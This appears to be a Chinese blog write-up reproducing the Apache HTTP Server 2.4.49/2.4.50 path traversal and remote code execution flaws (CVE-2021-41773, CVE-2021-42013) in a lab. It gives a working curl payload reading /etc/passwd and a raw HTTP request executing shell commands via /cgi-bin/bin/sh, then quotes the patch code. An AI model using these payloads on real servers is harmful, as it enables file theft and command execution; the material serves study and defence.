一、漏洞概述

Apache HTTP Server(简称 Apache)是开源的 Web 服务器,可以在大多数计算机操作系统中运行,由于其多平台和安全性被广泛使用,是最流行的 Web 服务器端软件之一。它快速、可靠并且可通过简单的 API 扩展,将 Perl/Python 等解释器编译到服务器中。

Apache 披露了一个在 Apache HTTP Server 2.4.49 上引入的漏洞,称为 CVE-2021-41773。同时发布了2.4.50更新,修复了这个漏洞。该漏洞允许攻击者绕过路径遍历保护,使用编码并读取网络服务器文件系统上的任意文件。运行此版本 Apache 的 Linux 和 Windows 服务器都受到影响。此漏洞是在 2.4.49 中引入的,该补丁旨在提高 URL 验证的性能。可以通过对“.”进行编码来绕过新的验证方法。如果 Apache 网络服务器配置未设置为“要求全部拒绝”,则漏洞利用相对简单。通过对这些字符进行编码并使用有效负载修改 URL,可以实现经典的路径遍历。

——https://blog.csdn.net/qq_48985780/article/details/120973100

 

二、影响版本
  • 41773——版本等于2.4.49
  • 42013——版本等于2.4.49/50

 

三、漏洞原理

  1. SpringBoot中关于%2e的Trick
  2. 漏洞函数问题所在
  3. 什么是目录穿越

 

四、漏洞复现环境

Kali Linux + Vulfocus
渗透机:Kali Linux 
靶机:Vulfocus

 

五、实验步骤

1.开启镜像环境,访问页面

 2.使用已经爆出的POC命令尝试查看/etc/passwd中得内容

curl -v --path-as-is http://192.168.117.131:51212/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

3.brup构造如下数据包,并获取flag,完结撒花

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 192.168.117.131:51212
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "29cd-5cde381698600-gzip"
If-Modified-Since: Sat, 09 Oct 2021 03:58:16 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

echo;ls  /tmp

 

六、修复方式

1)41773——2.4.50版本对ap_normalize_path函数进行修改,补充了如下代码,对.%2e的绕过形式进行了判断,可以避免使用该方法绕过。

if ((path[n] == '.' || (decode_unreserved
    && path[n] == '%'
    && path[++n] == '2'
    && (path[++n] == 'e'
    || path[n] == 'E')))
    && IS_SLASH_OR_NUL(path[n + 1])) {
    /* Wind w back to remove the previous segment */
    if (w > 1) {
        do {
            w--;
        } while (w && !IS_SLASH(path[w - 1]));
    }
    else {
        /* Already at root, ignore and return a failure
            * if asked to.
            */
        if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
            ret = 0;
        }
    }
    /* Move l forward to the next segment */
    l = n + 1;
    if (path[l]) {
        l++;
    }
    continue;
}
————https://xz.aliyun.com/t/10359?page=1

2)42013——2.4.51版本针对该漏洞进行了多处修改,最核心的一处修改是在ap_normalize_path函数中加强了对url编码的校验,如果检测到存在非标准url编码(%+两个十六进制字符)的情况,就返回编码错误,从根本上杜绝了多重编码可能导致的绕过,修复代码如下:

while (path[l] != '') {
    /* RFC-3986 section 2.3:
        *  For consistency, percent-encoded octets in the ranges of
        *  ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
        *  period (%2E), underscore (%5F), or tilde (%7E) should [...]
        *  be decoded to their corresponding unreserved characters by
        *  URI normalizers.
        */
    if (decode_unreserved && path[l] == '%') {
        if (apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) {
            const char c = x2c(&path[l + 1]);
            if (TEST_CHAR(c, T_URI_UNRESERVED)) {
                /* Replace last char and fall through as the current
                    * read position */
                l += 2;
                path[l] = c;
            }
        }
        else {
            /* Invalid encoding */
            ret = 0;
        }
    }
————https://xz.aliyun.com/t/10359?page=1

  

 

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/wavesky/p/16339732.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!